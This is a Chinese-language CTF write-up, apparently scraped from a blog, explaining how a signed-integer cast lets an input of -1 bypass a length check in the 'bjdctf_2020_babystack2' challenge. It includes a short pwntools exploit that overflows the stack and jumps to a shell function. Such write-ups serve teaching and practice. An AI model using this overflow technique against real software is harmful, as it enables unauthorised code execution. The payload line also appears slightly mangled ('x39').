zoukankan      html  css  js  c++  java
  • bjdctf_2020_babystack2

      此题考整型的有符号无符号的东西。。。

      下载文件还是,先检查一下保护。

      

      64位程序,只开启了堆栈不可执行,看一下ida的伪代码。

      大概流程就是先让你输入一个数,这个数就是后面read的可以输入的长度,要想进行溢出,就必须有足够的长度,但是有一个校验,不让这个数大于十,我们得想办法绕过这个校验,让我们可以进行溢出。

      看一眼nbytes的类型是size_t,从百度百科查了一下,大概是这么个意思。

      大概就是一个无符号型整数,无符号型。。。but!!!你们仔细看看伪代码的图的if。

    if ( (signed int)nbytes > 10 )

      这里强制转换将这个东西转换成有符号的整数,关于整数溢出,大家可以看看这个博客,一看就懂了!

      https://blog.csdn.net/xzli8_geo/article/details/83794268

      这么来说,假如我们输入一个输入进内存里面的是ffff,对于无符号型,那就是一个正数,但是变成有符号型整数,那么这个值就是-1,这样就绕过了这个检验,溢出长度就可以很长了!!!

      贴一下exp:

     1 from pwn import *
     2 
     3 p = process('./bjdctf_2020_babystack2')
     4 #p = remote('node3.buuoj.cn',27265)
     5 context.log_level = 'debug'
     6 
     7 shell_addr = 0x0400726
     8 p.recv()
     9 p.sendline('-1')
    10 p.recv()
    11 payload = 'x39'*0x10 + 'bbbbbbbb' + p64(shell_addr)
    12 p.send(payload)
    13 p.interactive()
  • 相关阅读:
    [bzoj1076]奖励关
    [bzoj1085]骑士精神
    [bzoj1082]栅栏
    [bzoj1084]最大子矩阵
    [bzoj1072]排列
    [bzoj1071]组队
    [bzoj1068]压缩
    [bzoj1061]志愿者招募
    [bzoj1059]矩阵游戏
    [bzoj1052]覆盖问题
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12331035.html
Copyright © 2011-2022 走看看